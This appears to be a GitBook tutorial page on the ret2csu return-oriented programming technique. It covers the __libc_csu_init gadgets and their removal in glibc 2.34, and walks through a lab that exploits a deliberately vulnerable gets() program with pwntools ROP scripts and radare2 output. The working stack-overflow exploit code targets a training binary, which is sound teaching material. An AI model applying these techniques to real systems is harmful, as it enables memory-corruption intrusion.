arrow-left

All pages
gitbookPowered by GitBook
1 of 3

Loading...

Loading...

Loading...

ret2csu

Controlling registers when gadgets are lacking

ret2csu is a technique for populating registers when there is a lack of gadgets. More information can be found in the original paperarrow-up-right, but a summary is as follows:

When an application is dynamically compiled (compiled with libc linked to it), there is a selection of functions it contains to allow the linking. These functions contain within them a selection of gadgets that we can use to populate registers we lack gadgets for, most importantly __libc_csu_init, which contains the following two gadgets:

0x00401188      4c89f2         mov rdx, r14                ; char **ubp_av
0x0040118b      4c89ee         mov rsi, r13                ; int argc
0x0040118e      4489e7         mov edi, r12d               ; func main
0x00401191      41ff14df       call qword [r15 + rbx*8]

The second might not look like a gadget, but if you look it calls r15 + rbx*8. The first gadget chain allows us to control both r15 and rbx in that series of huge pop operations, meaning whe can control where the second gadget calls afterwards.

circle-info

Note it's call qword [r15 + rbx*8], not call qword r15 + rbx*8. This means it'll calculate r15 + rbx*8 then go to that memory address, read it, and call that value. This mean we have to find a memory address that contains where we want to jump.

These gadget chains allow us, despite an apparent lack of gadgets, to populate the RDX and RSI registers (which are important for parameters) via the second gadget, then jump wherever we wish by simply controlling r15 and rbx to workable values.

This means we can potentially pull off syscalls for execve, or populate parameters for functions such as write().

circle-info

You may wonder why we would do something like this if we're linked to libc - why not just read the GOT? Well, some functions - such as write() - require three parameters (and at least 2), so we would require ret2csu to populate them if there was a lack of gadgets.

0x004011a2      5b             pop rbx
0x004011a3      5d             pop rbp
0x004011a4      415c           pop r12
0x004011a6      415d           pop r13
0x004011a8      415e           pop r14
0x004011aa      415f           pop r15
0x004011ac      c3             ret

CSU Hardening

As of , the CSU has been hardened to remove the useful gadgets. is the offendor, and it essentially removes __libc_csu_init (as well as a couple other functions) entirely.

Unfortunately, changing this breaks the ABI (application binary interface), meaning that any binaries compiled in this way can not run on pre-2.34 glibc versions - which can make things quite annoying for CTF challenges if you have an outdated glibc version. Older compilations, however, can work on the newer versions.

glibc 2.34arrow-up-right
This patcharrow-up-right

Exploitation

hashtag
Source

Obviously, you can do a ret2plt followed by a ret2libc, but that's really not the point of this. Try calling win(), and to do that you have to populate the register rdx. Try what we've talked about, and then have a look at the answer if you get stuck.

hashtag
Analysis

We can work out the addresses of the massive chains using r2, and chuck this all into pwntools.

circle-info

Note I'm not popping RBX, despite the call. This is because RBX ends up being 0 anyway, and you want to mess with the least number of registers you need to to ensure the best success.

hashtag
Exploitation

hashtag
Finding a win()

Now we need to find a memory location that has the address of win() written into it so that we can point r15 at it. I'm going to opt to call gets() again instead, and then input the address. The location we input to is a fixed location of our choice, which is reliable. Now we just need to find a location.

To do this, I'll run r2 on the binary then dcu main to contiune until main. Now let's check permissions:

The third location is RW, so let's check it out.

The address 0x404028 appears unused, so I'll write win() there.

hashtag
Reading in win()

To do this, I'll just use the ROP class.

hashtag
Popping the registers

Now we have the address written there, let's just get the massive ropchain and plonk it all in

hashtag
Sending it off

Don't forget to pass a parameter to the gets():

hashtag
Final Exploit

And we have successfully controlled RDX - without any RDX gadgets!

hashtag
Simplification

As you probably noticed, we don't need to pop off r12 or r13, so we can move POP_CHAIN a couple of intructions along:

#include <stdio.h>

int win(int x, int y, int z) {
    if(z == 0xdeadbeefcafed00d) {
        puts("Awesome work!");
    }
}

int main() {
    puts("Come on then, ret2csu me");

    char input[30];
    gets(input);
    return 0;
}
[...]
0x00401208      4c89f2         mov rdx, r14
0x0040120b      4c89ee         mov rsi, r13
0x0040120e      4489e7         mov edi, r12d
0x00401211      41ff14df       call qword [r15 + rbx*8]
0x00401215      4883c301       add rbx, 1
0x00401219      4839dd         cmp rbp, rbx
0x0040121c      75ea           jne 0x401208
0x0040121e      4883c408       add rsp, 8
0x00401222      5b             pop rbx
0x00401223      5d             pop rbp
0x00401224      415c           pop r12
0x00401226      415d           pop r13
0x00401228      415e           pop r14
0x0040122a      415f           pop r15
0x0040122c      c3             ret
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
[0x00401199]> dm
0x0000000000400000 - 0x0000000000401000 - usr     4K s r--
0x0000000000401000 - 0x0000000000402000 * usr     4K s r-x
0x0000000000402000 - 0x0000000000403000 - usr     4K s r--
0x0000000000403000 - 0x0000000000404000 - usr     4K s r--
0x0000000000404000 - 0x0000000000405000 - usr     4K s rw-
0x00401199]> pxq @ 0x0000000000404000
0x00404000  0x0000000000403e20  0x00007f7235252180    >@......!%5r...
0x00404010  0x00007f723523c5e0  0x0000000000401036   ..#5r...6.@.....
0x00404020  0x0000000000401046  0x0000000000000000   F.@.............
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

rop = ROP(elf)

POP_CHAIN = 0x00401228        # pop r14, pop r15, ret
REG_CALL = 0x00401208         # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))
print(p.recvline())